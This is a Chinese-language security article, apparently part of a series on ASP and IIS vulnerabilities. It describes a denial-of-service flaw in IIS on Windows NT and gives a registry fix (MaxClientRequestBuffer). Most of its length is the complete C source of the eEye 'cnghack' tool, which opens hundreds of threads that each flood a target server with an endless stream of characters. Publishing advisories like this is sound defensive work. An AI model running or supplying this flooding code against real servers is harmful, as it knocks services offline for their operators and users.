ASP漏洞分析和解決方法(5)
 

17 IIS web server DOS 

　　漏洞描述：
　　默認(rèn)情況下，IIS容易被拒絕服務(wù)攻擊。如果注冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被創(chuàng)建，針對這種NT系
統(tǒng)的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個鍵用于設(shè)置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 
設(shè)置為256(bytes)，則攻擊者通過輸入大量的字符請求IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設(shè)置對此不加限制，因此，利用
下面的程序。可以很容易地對IIS server實行DOS攻擊：

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot 
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the 
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my 
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop 
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following: 
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

　　攻擊結(jié)果將導(dǎo)致NT系統(tǒng)的CPU占用率達(dá)到 100%

　　解決方案 
　　運(yùn)行Regedt32.exe
在：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 
增加一個值：
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD 
　　設(shè)置為十進(jìn)制
　　具體數(shù)值設(shè)置為你想設(shè)定的IIS允許接受的URL最大長度。
　　CNNS的設(shè)置為256